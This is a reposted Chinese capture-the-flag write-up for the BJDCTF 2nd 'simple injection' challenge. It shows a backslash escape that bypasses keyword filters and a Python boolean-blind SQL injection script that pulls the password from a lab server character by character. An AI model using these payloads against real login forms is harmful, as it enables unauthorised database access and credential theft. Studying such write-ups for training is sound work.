码迷,mamicode.com
首页 > 其他好文 > 详细

[BJDCTF 2nd]简单注入

时间:2020-07-16 12:24:20      阅读:74      评论:0      收藏:0      [点我收藏+]

标签:图片   from   lazy   没有   nod   controls   strong   admin   user   

扫描目录后发现robots.txt

技术图片

 

 

 访问hint.txt

技术图片

 

 

 题目提示了一句SQL语句

select * from users where username=$_POST["username"] and password=$_POST["password"];

返回首页,输入admin‘/admin尝试登陆,发现过滤了单引号

技术图片

 

 使用字典测试一下过滤了那些

技术图片

 

 发现他过滤了union,select,=,-,and,like,;等关键字,过滤了union select不能使用联合注入,使用报错注入没有回显,考点应该是盲注

 重新回到提示的SQL语句

select * from users where username=$_POST["username"] and password=$_POST["password"];

我们可以输入admin\ 和 or 1#,也就是构造如下SQL语句,这样password字段后面的语句便可以逃逸执行

select * from users where username=admin\ and password=or 1#;

技术图片

 

可以发现从You konw ,P3rh4ps needs a girl friend变成了BJD needs to be stronger,存在盲注,这样就可以编写脚本来获取password字段的值

首先构造核心payLoad:

‘or/**/(ascii(substr(password,{},1))>{})#‘.format(i,j)

完整脚本如下:

import requests

url = "http://f6cf878f-d201-4590-aa11-0b2e9d4abce5.node3.buuoj.cn/index.php"
flag = ""

for i in range(1, 50):
    for j in range(32, 126):
        payload = "or/**/(ascii(substr(password,{},1))>{})#".format(i, j)
        data = {"username": "admin\\", "password": payload}
        re = requests.post(url, data=data)
        if "P3rh4ps" in re.text:
            flag += chr(j)
            print(flag)
            break

技术图片

 

 跑出password后,登陆便可获取到flag

技术图片

 

 

[BJDCTF 2nd]简单注入

标签:图片   from   lazy   没有   nod   controls   strong   admin   user   

原文地址:https://www.cnblogs.com/gtx690/p/13321612.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!